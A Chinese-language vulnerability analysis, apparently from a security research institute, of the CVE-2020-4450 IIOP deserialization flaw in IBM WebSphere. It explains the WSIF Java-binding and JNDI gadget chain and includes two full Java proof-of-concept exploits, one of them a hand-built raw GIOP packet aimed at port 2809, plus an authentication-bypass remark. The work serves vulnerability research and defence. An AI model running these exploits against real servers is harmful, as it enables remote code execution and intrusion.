作者:Sp4rr0vv @ 白帽匯安全研究院
核對:r4v3zn @ 白帽匯安全研究院
環境準備
基于 ibm installtion mananger 進行搭建。
8.5.x 版本對應的倉庫地址為:
https://www.ibm.com/software/repositorymanager/V85WASDeveloperILAN
9.0.x 版本對應的倉庫地址為:
https://www.ibm.com/software/repositorymanager/V9WASILAN
注:需去掉 PH25074 補丁,本文基于 9.0.x 版本進行調試。

WebSphere 默認情況下,2809、9100 是 IIOP協議交互的明文端口,分別對應 CORBA 的 bootstrap 和 NamingService;而 9402、9403 則為 iiopssl 端口,在默認配置情況下訪問 WebSpere 的 NamingService 是會走 9403 的SSL 端口,為了聚焦漏洞,我們可以先在 Web 控制臺上手動關閉 SSL。


WSIF 和 WSDL
WSDL(Web 服務描述語言,Web Services Description Language)是為描述 Web 服務發布的 XML 格式。
一個 WSDL 文檔通常包含 8 個重要的元素,即 definitions、types、import、message、portType、operation、binding、service 元素,其中 service 元素就定義了各種服務端點,閱讀wsdl時可以從這個元素開始往上讀。

其中 portType 元素中的 operation 元素定義了一個接口的完整信息,binding 則是為訪問這個接口規定了一些細節,如可以設定使用的協議,協議可以是 soap、http、smtp、ftp 等任何一種傳輸協議,除此以外還可以綁定 jms、ejb 及 local java 等等,不過都是需要對binding和service元素做擴展的。
WSIF 是 Web Services Invocation Framework 的縮寫,意為 Web 服務調用框架,WSIF 是一組基于 WSDL 文件的 API ,他調用可以用 WSDL 文件描述的任何服務,在這里最重點在于擴展了binding 和 service 元素,使其可以動態調用 java 方法和訪問 ejb 等。
Demo 到 POC
CVE-2020-4450 中的漏洞利用鏈其中一個要點就是利用其動態調用 java 的特性,繞過對調用方法的限制,我們下面參考官網提供的 sample 中的案例寫個小 demo,看下這款框架的功能底層是怎么實現的,以及有什么特點。
利用鏈中其中一環的限制條件之一是方法中的參數類型、參數數量、參數類型順序必須要與接口定義的一致,本文我們以 String 類型參數為例進行測試,我們寫一個帶有 String 類型的參數接口,來進行跟蹤接口是如何被 WSIF 移花接木到指定的 ELProcessor#eval(String expression)。

WSDL 文件如下:
message 元素中定義參數,type 與接口中的類型需保持一致。

portType元素定義 operation 子節點其中該子節點中的 name 與接口名稱。

然后在進行定義 javabinding ,規定 portType 調用的方式為 java 調用。

其中 java 命名空間元素是關鍵要素,其中包含了實際執行方法的類和方法,后面我們將會看到 WSIF 如何將 Hello#asyHell(Sring name); 接口方法調用變成 ELProcessor#eval(String)。
WSIF 到 eval
通過調用 WSIF 的 API 來訪問 WebService 很簡單,只需四步。
第一步獲取工廠:

第二步實例化 WSIFService,會往擴展注冊中心注冊幾個拓展元素的解析器,其中 JavaBindingSerializer 就是解析 WSDL 中 java 這個命名空間元素的:

在解析的過程中通過 unmarshall 進行解析 WDSL 格式
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
Class parentType,
javax.xml.namespace.QName elementType,
org.w3c.dom.Element el,
javax.wsdl.Definition def,
javax.wsdl.extensions.ExtensionRegistry extReg)
throws javax.wsdl.WSDLException {
Trc.entry(this, parentType, elementType, el, def, extReg);
// CHANGE HERE: Use only one temp string ...
javax.wsdl.extensions.ExtensibilityElement returnValue = null;
if (JavaBindingConstants.Q_ELEM_JAVA_BINDING.equals(elementType)) {
JavaBinding javaBinding = new JavaBinding();
Trc.exit(javaBinding);
return javaBinding;
} else if (JavaBindingConstants.Q_ELEM_JAVA_OPERATION.equals(elementType)) {
JavaOperation javaOperation = new JavaOperation();
String methodName = DOMUtils.getAttribute(el, "methodName");
//String requiredStr = DOMUtils.getAttributeNS(el, Constants.NS_URI_WSDL, Constants.ATTR_REQUIRED);
if (methodName != null) {
javaOperation.setMethodName(methodName);
}
String methodType = DOMUtils.getAttribute(el, "methodType");
if (methodType != null) {
javaOperation.setMethodType(methodType);
}
String parameterOrder = DOMUtils.getAttribute(el, "parameterOrder");
if (parameterOrder != null) {
javaOperation.setParameterOrder(parameterOrder);
}
String returnPart = DOMUtils.getAttribute(el, "returnPart");
if (returnPart != null) {
javaOperation.setReturnPart(returnPart);
}
Trc.exit(javaOperation);
return javaOperation;
} else if (JavaBindingConstants.Q_ELEM_JAVA_ADDRESS.equals(elementType)) {
JavaAddress javaAddress = new JavaAddress();
String className = DOMUtils.getAttribute(el, "className");
if (className != null) {
javaAddress.setClassName(className);
}
String classPath = DOMUtils.getAttribute(el, "classPath");
if (classPath != null) {
javaAddress.setClassPath(classPath);
}
String classLoader = DOMUtils.getAttribute(el, "classLoader");
if (classLoader != null) {
javaAddress.setClassLoader(classLoader);
}
Trc.exit(javaAddress);
return javaAddress;
}
Trc.exit(returnValue);
return returnValue;
}
以下為分別對應的類,該類的屬性我們都是可以在 WSDL 中進行控制的。
JavaOperation 類:

JavaAddress 類:

下面是簡要的調用流程,解析 xml 中的元素,將其都轉換 JAVA 對象,Definition 這個類就是由這些對象組成的,然后根據提供的serviceName,portTypeName 選擇 WSDL 中相對應的 service 和 portType,上面說過 portType 就是一些定義抽象訪問接口的集合。


第三步,獲取 stub ,先是根據給定的第一個參數 portName 找到對應的 port,在根據 port 找對應的 binding ,獲取其擴展的 namespaceURI 來找 WSIFProvider 動態加載 WSIFPort 的實現類。

這里的 binding namespace 就是 java

所以實現類會是由 WSIFDynamicProvider_Java 這個工廠生成的 WSIFPort_Java 對象

這個類有個叫 fieldObjectReference 的字段很關鍵,后面我們會看到它就是我們在 WSDL 中 <java:address > 這個元素中指定的ClassName的實例對象,也是最終執行方法的對象。

獲取 WSIFPort_Java 后,接著往下可以看到,會根據提供的接口生成該接口的代理對象



其中 WSIFClientProxy 實現了 InvocationHandler ,最后對接口中的方法肯定會經過它的 invoke 方法處理,下面重點來看下它的invoke方法是怎么實現的

先是找 operation ,這里的 method 參數就是正在調用的方法


遍歷我們在初始化 service 時選定的 portType 中的所有 operation ,首先 operation 的名字要和正在調用的方法名一致

名字一致后,找參數,先是如果二者的參數都為 0 的話,就返回這個 operation 了,有參數,判斷參數長度,不一致就繼續遍歷下一個operation

如果參數長度一致,就判斷類型,如果遇到一個不一致的類型就繼續遍歷下一個 operation 如果完全一致就立刻返回這個 operation ,如果 operation 中定義的參數類型,是正在調用的方法的參數類型的子類的話也行,但是并沒有限制返回值。
選定 WSDL 中 portType 的這個符合名字和參數條件的 operation 后,接著往下,會根據這個operation的名字、參數名和返回值名由 WSIFPort 的實現類創建對應的 WSIFOperation

這里我們 WSIFPort 是 WSIFPort_Java,所以最終的實現類是 WSIFOperation_Java ,但是在這之前還會有個判斷,就是會根據我們選的 port,找到 bingding,在遍歷 binding 里的operation 元素,必須要有一個 operation 的名字和正在調用的方法名一致,不然就會直接返回,到這里我們看到都是對 wsdl 中 operation 名以及參數類型的限制而已,下面是 WSIFPort_Java 這個類的實例化

跟進斷點這行,會看到 WSIF 會實例化我們在 WSDL 中 <java:address className="javax.el.ELProcessor"/> 這個標簽那里指定的className,然后返回其所有的方法


接下來,是根據上面所說的,在實例化之前,篩選出的 wsdl 的 binding 中的那個 operation,將其中的 java 擴展元素賦值給 fieldJavaOperationModel 字段



然后就根據這個對象的 methodType 字段,判斷是靜態方法還是實例化方法,最后執行方法會根據這兩個字段做選擇

后面是重點,WSIF 怎么找真正要執行的方法

然后去 WSDL 找參數

簡單的說下,我們在下圖這里指定了 parameterOrder 的情景


WSIF 會遍歷這個列表中的名字,根據當前選定的 WSDL 中的 operation 找到對應的 message 元素,然后會根據這個 parameterOrder 列表中的名字匹配其中的 part 元素的名字,也就是參數名,實例化這個元素指定的 type 成 Class 對象,放到返回值列表中,在一次遍歷的過程中,先是找到 input,匹配不上再找output,如果都匹配不上就報錯,到這里我們看到了第三個限制,就是指定了 parameterOrder ,那么對于與其相匹配的 operation 中的 message 中定義的參數名一定要和 parameterOrder 中的一致,至于 returnPart 這個屬性有無都行



然后就是遍歷所有的構造方法,匹配參數類型

先是參數個數要一致,一致后,類型要一致或者 WSDL 中定義的參數類型要是構造函數中參數的子類


第二個找實例方法,我們最終的目的,找參數類型的過程大致和上面一致,不過在getMethodReturnClass()這里會判斷 returnPart,沒有的話沒關系,有的話還是會有些限制

然后就判斷 fieldJavaOperationModel 中的方法 name 在不在我們指定的那個類的實例方法里面,到這里,已經差不多可以看出這個框架的 javabding 的特點了,當前正在執行的方法的名字只是限制了 WSDL 中一個抽象的 Operation 名字,真正執行的實例方法是在 <java:operation methodName="xxxx" ....> 中指定的

后面就是匹配參數個數

接著是返回值,這里返回值都是不為空才判斷,所以對于為了執行任意方法為目的來說,我們甚至可以不指定 returnPart


后面的過濾條件都和構造方法一樣,最終返回的就是指定名字的方法

最后看下有定義 return 時真正執行方法的調用 executeRequestResponseOperation

后面還有一些特點就不說了,我們直接看下最終執行實例方法的地方,如果把返回值相關的定義去掉,將會連類型轉換錯誤都沒有,這就非常的棒


解析到序列化
以下為漏洞精簡版本漏洞序列化棧:
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
getEJBObject:181, EntityHandle (com.ibm.ejs.container)
findByPrimaryKey:-1, $Proxy94 (com.sun.proxy)
executeInputOnlyOperation:1603, WSIFOperation_Java (org.apache.wsif.providers.java)
eval:57, ELProcessor (javax.el)
從 WSIFPort_EJB 作為開始起點,



顯而易見,兩個字段是 transient 的,但是在序列化時手動寫進去了,所以反序列時也手動還原回來了
先看下實現了 WAS 中實現了 Handler 的類,一共就四個,這次 EntityHandle 是主角

這個類的字段如下

getEJBObject() this.object==null 的條件肯定可以滿足了

initialContextProperties 和 homeJNDIName 都是可以控制的,正常情況下肯定會想到jndi 注入

可惜 WAS 默認安裝時的 JDK 版本已經對基于 JNDI 做限制了,而且啟動時會給 ObjectFactoryBuilder 賦值,連 getObjectFactoryFromReference 都到不了





其中在 this.getObjectInstanceUsingObjectFactoryBuilders 中最后會進入到的會是 WASObjectFactoryBuilder 這個類

這里并不會對 ClassFactory 遠程加載,但是會根據類名實例化我們指定的工廠類,然后調用 getObjectInstance ,基于高版本 JDK 的 jndi 注入利用方式,就是去尋找有沒有這樣的 ObjectFactory ,它的 getObjectInstance 里的操作能直接或者間接地結合后續操作來造成漏洞


org.apache.wsif.naming.WSIFServiceObjectFactory 工廠類的 getObjectInstance 就是開頭介紹的 WSIF API幾步,里面所有參數都是可以控制的,因為當 lookup 到這里的時候,就是為了 decode 我們構造的 reference 對象。
仔細看一下,如果我們指定 renferce 的 className 為 WSIFServiceStubRef.class 的時候,回顧開頭對 WSIF API 的 4 個步驟,會發現除了調用方法名以及其參數之外,里面用到的參數都再這里了,這意味著如果這個代理對象從 lookup 這里出去后,對這個對象有任何的接口方法調用,我們都是可以根據 WSIF 的 java binding 來控制其真正執行方法的對象以及要執行的方法的

再看下 lookup 后的流程,是將 lookup 回來的對象轉換成 EJBHome ,然后調用 findFindByPrimaryKey 方法


EJBHome 這個接口并沒有 findFindByPrimaryKey 這個方法,所以需要去找它的子類,CounterHome 就是其中一個

現在讓我們看一下利用鏈要怎么構造,由于 EntityHandle 這個類只實現了 Handler 接口,沒有實現 EJBObject 接口,我們可以自行實現 EJBObject 接口,讓其返回
我們特定構造的 EntityHandle 對象綁定我們的RMI地址去進行 jndi 注入

賦值給 WSIFPort_EJB 即可

然后起個 RMI 綁定一下我們構造的 WSIF Reference

以下為互聯網公開的漏洞 POC 利用詳細代碼:
public static void main(String[] args) throws NamingException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
System.getProperties().put("com.ibm.CORBA.ConfigURL","file:////sas.client.props");
System.getProperties().put("com.ibm.SSL.ConfigURL","file://ssl.client.props");
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBObject());
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:2809/");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
byte[] result = outputStream.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList arrayList = new ArrayList();
arrayList.add(serviceContext);
setConnectionContexts.invoke(connection, arrayList);
context.list("");
}

一些思考
WAS 默認對 RMI/IIOP 開啟了 SSL 和 Basic 認證,前面為了聚焦漏洞我把 WAS 的 SSL 關了,如果沒關,又沒指定 SSL 配置文件的話,直接用互聯網中公開的漏洞利用方案在設置 ServiceContext 時相關的代碼會直接報錯拋出異常。

而且開啟了也不能直接打,因為還有個 BasicAuth ,會彈出用戶名密碼驗證框,不知道賬戶密碼的話,敲一下回車也能過去


可以抓包和 Debug 一下源碼看一下為什么會這樣,在 WsnInitCtx 上下文中 list 或者 lookup 的實現是,先去發個 locateRequset 去 BooStrap 那獲取 NamingService 的地址,拿到 NamingService 的 IOR 后再發送 Request 請求,如果 WAS 沒啟用 SSL 的話,在服務器返回的 IOR Profile 中是會帶有端口指明 NamingService 的端口。

如果 BootStrap 返回的 IOR 只帶有 Host ,端口為 0,但是在返回的 IOR 中會有 SSL 的相關內容,則說明是要走 SSL 端口的,如果我們的客戶端沒配置 SSL 屬性的話,那他是不會走 SSL 連接的,而是直接連接 host:0,肯定連不上


問題就出在這里,因為本質上,要進入到本次的反序列化調用點,根本是不需要一個 LocateRequst 的,我們可以 debug 看一下,在 WAS 的服務端在接受 iiop 請求時,會先經過幾個攔截器的處理,默認情況下一共7 個攔截器

取決于 Corba 客戶端的請求類型,執行不同的邏輯
private void invokeInterceptor(ServerRequestInterceptor var1, ServerRequestInfoImpl var2) throws ForwardRequest {
switch(var2.state) {
case 8:
var1.receive_request_service_contexts(var2);
break;
case 9:
var1.receive_request(var2);
break;
case 10:
var1.send_reply(var2);
break;
case 11:
var1.send_exception(var2);
break;
case 12:
var1.send_other(var2);
break;
default:
throw new INTERNAL("Unexpected state for ServerRequestInfo: " + var2.state);
}
}
其中只要是 Request 請求,就能進入到 TxServerInterceptor 的 receive_request,進行后面的 ServiceContext 處理操作,觸發本次的反序化過程

所以想寫個實戰能用的 POC 或者 EXP 的話,直接用 WAS 的 JNDI API 肯定不行的,可以再找一下可以直接發 Request 和設置 ServiceContext 的 API 。或者考慮手動構造一下數據包,默認端口沒改的情況下,直接打2809或者9100,至于怎么構造,可以參考一下 GIOP規范 和 JDK 或者 IBM 的那套 corba api ,下面演示一下大致的構造過程
直接用 Oracle JDK 的 原生 corba API 請求一下 2809,就會發現客戶端發的是一個帶有 ServiceContext 的 Request 請求的

參照 GIOP 規范,整個 GIOP 頭是固定的 12 個字節,其中第 8 個字節是請求類型

再參照一下這個 API 是怎么發包的,先是十二個字節的 GIOP 頭

然后是一個固定的 4 字節 ServiceContext 的數目

后面就是 ServiceContext 格式也是固定的

寫完 ServiceContext 后,是下面這個格式

所以,大致的驗證代碼如下:
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBObject());
Socket socket = new Socket();
InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 2809);
socket.connect(inetSocketAddress,0);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
OutputStream outputStream = socket.getOutputStream();
EncoderOutputStream cdrOutputStream = (EncoderOutputStream)ORB.createCDROutputStream();
cdrOutputStream.write_long(1195986768);
cdrOutputStream.write_octet((byte)1);//GIOPMajor
cdrOutputStream.write_octet((byte)0);//GIOPMinor
cdrOutputStream.write_octet((byte)0);//flags
cdrOutputStream.write_octet((byte)0);//type //request
Object sizePosition = cdrOutputStream.writePlaceHolderLong((byte) 0);//size
cdrOutputStream.write_long(1);//ServiceContext size
CDROutputStream outputStream2 = ORB.createCDROutputStream();
outputStream2.putEndian();
Any any = ORB.init().create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream2, propagationContext);
byte[] result = outputStream2.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
serviceContext.write(cdrOutputStream);
int writeOffset2 = cdrOutputStream.getByteBuffer().getWriteOffset();
System.out.println(writeOffset2);
cdrOutputStream.write_long(6);//requestID
cdrOutputStream.write_octet((byte)1);//responseExpeced
ObjectKey objectKey = new ObjectKey("NameService".getBytes());
cdrOutputStream.write_long(objectKey.length());
cdrOutputStream.write_octet_array(objectKey.getBytes(), 0, objectKey.length());
cdrOutputStream.write_long(3);
cdrOutputStream.write_octet_array("get".getBytes(),0,3);
cdrOutputStream.write_long(0);
cdrOutputStream.write_long(0);
int writeOffsetEND = cdrOutputStream.getByteBuffer().getWriteOffset();
cdrOutputStream.rewriteLong(writeOffsetEND-12,sizePosition);
cdrOutputStream.getByteBuffer().flushTo(outputStream);
System.in.read();
}
結果


參考
- https://mp.weixin.qq.com/s/spDHOaFh_0zxXAD4yPGejQ
- https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
- https://ws.apache.org/wsif/
- https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1315/
暫無評論